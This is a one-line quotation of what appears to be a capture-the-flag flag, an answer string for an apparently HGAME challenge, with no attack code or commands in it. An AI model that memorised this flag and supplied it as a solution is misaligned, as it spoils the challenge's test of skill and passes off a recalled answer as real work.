> hgame{Which_0nly_cryin9_3yes_c4n_de5cribe}